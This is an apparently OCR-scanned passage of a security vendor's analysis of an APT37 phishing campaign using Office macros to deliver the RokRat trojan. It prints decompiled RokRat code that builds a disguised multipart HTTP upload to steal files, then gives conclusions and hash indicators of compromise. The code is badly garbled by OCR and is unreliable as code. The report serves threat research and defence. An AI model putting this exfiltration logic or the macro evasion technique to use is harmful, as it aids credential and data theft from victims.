FUN_00412bcO(local_10a4, (char *)param_2, (char #)({int)puvar2 + *pivars * 2))
local 8 = O;

FUM_00412c30(local_108c, *param_3,param_3([1]);
local 8. 81 =1;
local 1080 = Oxf;
local_lo84 = 0;
local_1074[0] = (void *)({uint)local_lo74[0] & Oxffffffoo);
FUM 00411do0(local 1074, (int **)"--wwjaughalvncjwiajs--", (1nt *)0x16);
local 8. @1 =3;
local_1048 = oxf;
local 104c = 0;
local_165c[@] = (void #)({uint)local_1G5c[@] & Oxffffffo0);
FUN_00411d00(1local_105c, (int **)&DAT_ 00467708, (int *)0x0);
local 8. @1 = 3;
puVar2 = FUN_B0412caB@(local_1044, (1nt #*)&DAT 00468234, local_1074);
local 8. 01 = 4;
puvar2 = (undefined4 *)FUN_00412db0(local 102c,puVarz, (int #**)&DAT 00468230)
local_8 = CONCAT3L({local 8. 1 3 ,5);
FUN_0E411f9@(local_l105c, puVar2, 0, 0xffffffff);
if (Oxf < local 1018) {

FUN 82130 (T acal 102101 . Tocal 1018 + 11
1
local 8. 1 = 3;
local_1018 = oxf;
local 10lc = ©;
local_102c[@] = (undefinedd #)({uint)local 102c[0] & Oxffffffoo);
if (oxf « local_1020) {

FUN_00412130(local_1044[0],local 1030 + 1);
I
puvar2 = FUN_00412cal(local_1044,

(int **)"Content-Disposition: form-data; name=\"file%"; filename=1"",
local_lOad)

local 8, 01 = 6;
puvar2 = {undefined4 *)FUN_00412db0(local 102c, puVarz2, (int **)&DAT 00458294);
local_B = CONCAT31({local 8. 1 3 ,7);
FUN_B0411f90(local_105c, puVarz, 0, 0xffffffff);
if (Bxf < local 1018) {
FUN_B0412130(local_1082c[@], local_lO018 + 1);
1
local 8. 81 = 3;
local_1018 = Gxf;
local_l10lc = @;
local 102c[@] = (undefined4 *)((uint)local 102c[0] & Oxffffffoo);
1t (Bxf < local_1030) {
FUN_00412130(1ocal_10844[0],local_1030 + 1);
1
|FUN B00411eaB(local 105c, {(1nt **)"Content-Type: wvoilce/mp3irin", 0x19}); |
FUN_00411leaB(local_l185c, (1nt #*)&DAT_ 004688230, 2);
FUN_00411f90(local_105¢c, local_108c, 0, OxfFFFFff);
FUN_00411ea@(local_105c, (int #**)EDAT 00468230, 2);
puvVarz = FUN_00412caB(local_1044, (int **)&DAT 00458234, local_1074);
local 8. 01 = 8;
puvar2 = {undefined4 *)FUN_00412dbG(local_102c, puVar2, {(int ##)&DAT_004582ec);
local_8 = CONCAT3L(local_8._1 3 ,9);
FUN_00411f90(1ocal_105c, puVarz, 0, 0xffffffff);
1t (Bxf < local_1018) {
FIM_ANA1 212 M Ara1 2102101 Taers] M8 2 1Y,
1
local 10830 = 7;
local 1034 = (undefinedd *)0x0;

Teeel Amaalnl Joveld #W 0T 2 ma¥lceal amaalnl r AcLLLLAnand
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LoLdL_lwag W] = WOLA "JLiULnLjlocal_ 1usaiu] & WAl Tuuuy
if ({short)local_1014 == 0} {

pivVars = (int *)0x0;
}
else {
puVar2 = &local 1014;
do {

sWarl = *(short *)puVarz;
puvarz2 = (undefined4 #*){{int)puVvar2 + 2);

} while (sVarl != 0);

pivarg = (int *){{int) ({int)puvar2 - ({int)&local_1014 + 2}) »> 1);
1
FUN_00411a20(local_1044, (int **)&local_1014,piVara);
local_8._ 0 1 = 10;
FUN_0041d991 () ;
local_8., 01 = Oxc;
if (7 < local_1030} {

FUM 004120cO(local_10844[0],local 1030 + 1);
!
local_1030 = 7;
local 1044[0] = (void *)((uint)local 1044[0] & Oxffffoo00);
local 1034 = (undefinedd *)0x0;
FUN_0040bb20((void *) ((int)this + 4), (int)local_122c):
local 1018 = 7;
local_10lc = 0;
local_102c({@] = (undefined4 *){{uint)local_l0zc[0] & Qxffffoo00);
FUN 00411a20(local 102c, (int *#*)L"multipart/form-data;boundary=--wwjaughalvncjwiajs--",

(int *)0x33);

local_ 8. 08 1 = Oxd;
FUN_0041lebed();
local_8. @1 = Oxc;
if (7 « local_lo18) {

FUM 004120c0(local_102c[0],local 1018 + 1J;
1
FUN_0041eabf ();
local 1018 = 7;
local_10lc = 0;
local 102c({0] = {undefined4 *){{uint)local 102c[0] & QxffffOO00);
LEUN 00411a20(local 102c, (1nt **)L "POST", {int *)&DAT 00000004); ]

Figure 17: Data exfiltration

¢ Stealing credentials
 File and directory management

For more detailed analysis of this RAT you can refer to the reports from NCC Group and
Cisco Talos.

Conclusion

The primary initial infection vector used by APT37 is spear phishing, in which the actor
sends an email to a target that is weaponized with a malicious document. The case we
analyzed is one of the few where they did not use Hwp files (Hangul Office) as their phish
documents and instead used Microsoft Office documents weaponized with a self decode
macro. That technique is a clever choice that can bypass several static detection
mechanisms and hide the main intent of a malicious document.

The final payload used by this threat actor is a known custom RAT (RokRat) that the
group has used in previous campaigns. In the past, RokRat has been injected into
cmd.exe, whereas here they chose Notepad.exe.
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Malwarebytes Anti-Exploit @

Malwarebytes Anti-Exploit has
blocked an exploit attempt

SHAIR| RITAAI L.

Application: Microsoft Office Word

Protection Layer: Malicious Memory Protection

Protection Technique: Exploit code executing from Heap memory blocked
File/Process Blocked: NfA

Attacking URL: N/A
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Indicators of Compromise

Maldoc:
3c59ad7c4426e8396369f084c35a2bd3focaagzbaidiag1794153507210a77¢90

RokRat:
676AE680967410E0F245DF0B6163005D8799C84E2F8F87BAD6B5E30295554E08
A42844FC9CB7F80CA49726B3589700FA47BDACF787202D0461C753E7C73CFD2A
2A253C2AA1DB3F809C86F410E4BD21F680B7235D951567F24D614D8E4D041576
C7CCD2AEE0BDDAFOE6C8F68EDBA14064E4A9948981231491A87A277E0047CoCB
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